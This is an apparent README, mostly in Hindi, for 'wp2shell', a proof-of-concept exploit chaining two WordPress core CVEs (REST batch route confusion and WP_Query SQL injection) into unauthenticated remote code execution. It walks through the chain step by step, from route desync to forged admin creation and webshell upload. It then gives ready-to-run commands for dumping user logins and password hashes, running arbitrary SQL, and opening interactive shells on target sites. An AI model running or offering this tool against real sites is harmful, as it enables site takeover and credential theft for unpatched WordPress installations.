
CVE-2026-63030 और CVE-2026-60137 RCE श्रृंखला प्रूफ-ऑफ-कॉन्सेप्ट
⚠ यह उपकरण केवल शैक्षिक या बग बाउंटी उद्देश्य के लिए बनाया गया है। नियंत्रित वातावरण के बाहर अनधिकृत उपयोग सख्त वर्जित है।
WordPress Core को प्रभावित करने वाली wp2shell भेद्यता श्रृंखला के लिए proof-of-concept, जो CVE-2026-63030 और CVE-2026-60137 को जोड़ती है। यह परियोजना REST API Batch route confusion भेद्यता और WP_Query SQL injection के बीच की अंतःक्रिया को प्रदर्शित करती है, जिसके परिणामस्वरूप WordPress के पूर्ण समझौते और रिमोट कोड निष्पादन (RCE) के लिए एक प्रमाणीकरण-रहित मार्ग बनता है।
पूरी एडवाइजरी यहाँ पढ़ें
wp2shell WordPress core में एक प्री-प्रमाणीकरण RCE श्रृंखला है, जो CVE-2026-63030 (batch REST endpoint में route confusion) और CVE-2026-60137 (WP_Query में SQL injection) को जोड़ती है।
Route confusion: /wp-json/batch/v1 स्थिति-अनुक्रमित समानांतर $matches और $validation सरणियों के माध्यम से कई उप-अनुरोधों को संसाधित करता है। एक malformed पथ (जैसे, http://:) वाला उप-अनुरोध continue कथन के कारण $validation में तो जोड़ा जाता है लेकिन $matches में नहीं, जिससे सरणियाँ desynchronize हो जाती हैं। बाद के अनुरोधों को अगले अनुरोध के लिए निर्धारित हैंडलर के अंतर्गत भेजा जाता है, जिससे schema validation और permission checks बायपास हो जाते हैं।
SQL injection: दो नेस्टेड batch कॉल इसका शोषण करती हैं। बाहरी batch method allow-list (सामान्यतः GET को अवरुद्ध करने वाली) को बायपास करता है। आंतरिक batch GET /wp/v2/posts को एक scalar author_exclude स्ट्रिंग पहुँचाता है — desync इसे validation से आगे भेज देता है, और WP_Query बिना sanitize किए स्ट्रिंग को सीधे SQL में डाल देता है, जिससे UNION-आधारित blind injection उत्पन्न होती है।
Cache poisoning: SQLi जाली WP_Post ऑब्जेक्ट लौटाता है, जिन्हें WordPress मेमोरी में कैश करता है। इन नकली posts में [embed] shortcodes होते हैं जो WordPress को नकली references से वास्तविक oembed_cache डेटाबेस पंक्तियाँ बनाने के लिए प्रेरित करते हैं।
Changeset escalation: SQLi का उपयोग करके, हमलावर अपनी JSON में "user_id": 1 के साथ एक customize_changeset post को मेमोरी में जाली बनाता है। एक cycle-detection gadget post_content को अधिलेखित किए बिना wp_update_post() को ट्रिगर करता है, जिससे हमलावर का payload सुरक्षित रहता है। Changeset लागू करने पर अस्थायी रूप से व्यवस्थापक की पहचान मान ली जाती है।
Hook re-entry: parse स्थिति और request प्रकार वाली एक निर्मित post parse_request hook को सक्रिय करती है, जो मान ली गई admin भूमिका के साथ पूरे batch अनुरोध को दोबारा चलाती है। इस बार, एक POST /wp/v2/users उप-अनुरोध सफल हो जाता है, जिससे एक नया admin खाता बन जाता है।
Code execution: हमलावर बनाए गए admin के रूप में लॉगिन करता है और मनमाने कमांड चलाने के लिए एक दुर्भावनापूर्ण plugin अपलोड करता है।
| संस्करण | स्थिति |
|---|---|
| WordPress 6.9.0 – 6.9.4 | असुरक्षित |
| WordPress 7.0.0 – 7.0.1 | असुरक्षित |
| WordPress 6.9.5 | सुधारित |
| WordPress 7.0.2+ | सुधारित |
इस PoC का उपयोग करने के लिए, एकमात्र आवश्यकता Python 3.8+ है।
भेद्यता जाँच करने के लिए इसे रिपॉजिटरी निर्देशिका से चलाएँ:
wp2shell.py http://victim.com
एकल भेद्यता जाँच करता है। एक हानिरहित batch marker probe भेजता है जो SQLi payload निष्पादित किए बिना route confusion बग का पता लगाता है। एक असुरक्षित लक्ष्य parse_path_failed, block_cannot_read, और rest_batch_not_allowed त्रुटि पैटर्न के साथ HTTP 207 लौटाता है।
एक सक्रिय SQLi पुष्टिकरण payload भेजने के लिए --confirm-sqli का उपयोग करें। पुष्टिकरण पहले UNION reflection का प्रयास करता है, फिर timing-आधारित probes पर वापस आ जाता है।
एकल लक्ष्य की जाँच करें (डिफ़ॉल्ट मोड)
wp2shell.py http://target.com
स्पष्ट मोड के साथ जाँच करें
Check with explicit mode
wp2shell.py http://target.com --check
SQLi पुष्टिकरण के साथ जाँच करें
wp2shell.py http://target.com --check --confirm-sqli
प्री-प्रमाणीकरण SQL injection का उपयोग करके डेटाबेस से डेटा निकालता है। डिफ़ॉल्ट रूप से --technique auto का उपयोग करता है, जो उपलब्ध विधियों को इस क्रम में आज़माता है:
WP_Post पंक्ति बनाता है और उसका शीर्षक REST प्रतिक्रिया से ||HEX(value)|| के रूप में वापस पढ़ता है। प्रति मान एक अनुरोध। सबसे तेज़।EXTRACTVALUE/UPDATEXML का उपयोग करता है। तब काम करता है जब लक्ष्य MySQL त्रुटियों को प्रतिबिंबित करता है (जैसे, WP_DEBUG_DISPLAY चालू हो)।X-WP-Total हेडर को true/false संकेत के रूप में पढ़ता है। तब भी काम करता है जब कोई डेटा प्रतिबिंबित नहीं होता।--technique union|error|blind के साथ किसी विशिष्ट तकनीक को बाध्य करें। ये रीड पथ केवल-पढ़ने के लिए हैं और डेटाबेस में लेखन नहीं करते हैं।
सर्वर फिंगरप्रिंट (डिफ़ॉल्ट क्वेरी)
wp2shell.py http://target.com --read
लॉगिन और पासवर्ड हैश डंप करें
wp2shell.py http://target.com --read --preset users
कस्टम SQL क्वेरी
wp2shell.py http://target.com --read --query "SELECT @@version"
ब्लाइंड तकनीक को बाध्य करें
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
त्रुटि-आधारित तकनीक के साथ निष्कर्षण
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
लक्ष्य सर्वर पर कमांड निष्पादित करता है। दो मोड में काम करता है:
क्रेडेंशियल के साथ (मौजूदा admin के रूप में लॉगिन करता है और plugin शेल अपलोड करता है):
विशिष्ट कमांड निष्पादित करें
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
इंटरैक्टिव शेल
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
एकल कमांड निष्पादित करें
wp2shell.py http://target.com --shell --cmd id
इंटरैक्टिव शेल
wp2shell.py http://target.com --shell --interactive
plugin वेबशेल को एक यादृच्छिक पथ और प्रति-रन टोकन के साथ अपलोड किया जाता है। अपलोड किया गया वेबशेल स्वचालित रूप से हटा दिया जाता है। जब प्री-प्रमाणीकरण ब्रिज एक व्यवस्थापक बनाता है, तो शेल सत्र समाप्त होने के बाद वह जनरेट किया गया खाता स्वचालित रूप से हटा दिया जाता है।
सभी फ्लैग की सूची:
यह उपकरण केवल शैक्षिक या बग बाउंटी उद्देश्य के लिए बनाया गया है। नियंत्रित वातावरण के बाहर अनधिकृत उपयोग सख्त वर्जित है।
| फ्लैग | विवरण |
|---|
--check | भेद्यता जाँच चलाएँ (यदि कोई अन्य मोड निर्दिष्ट नहीं है तो डिफ़ॉल्ट मोड) |
--read | SQL injection के माध्यम से डेटा निकालें |
--shell | सर्वर पर कमांड निष्पादित करें |
--query | रीड मोड के लिए कस्टम SQL क्वेरी |
--preset | पूर्वनिर्धारित क्वेरी प्रीसेट (users, config, versions) |
--technique | SQLi निष्कर्षण तकनीक: union, error, blind, या auto (डिफ़ॉल्ट) |
--confirm-sqli | जाँच के बाद SQLi पुष्टिकरण payload भेजें |
--cmd | शेल मोड में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--interactive, -i | इंटरैक्टिव शेल मोड |
--user | प्रमाणित शेल के लिए व्यवस्थापक उपयोगकर्ता नाम |
--password | प्रमाणित शेल के लिए व्यवस्थापक पासवर्ड |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे, http://127.0.0.1:8080) |
--timeout | अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 30) |
--verbose, -v | विस्तृत आउटपुट |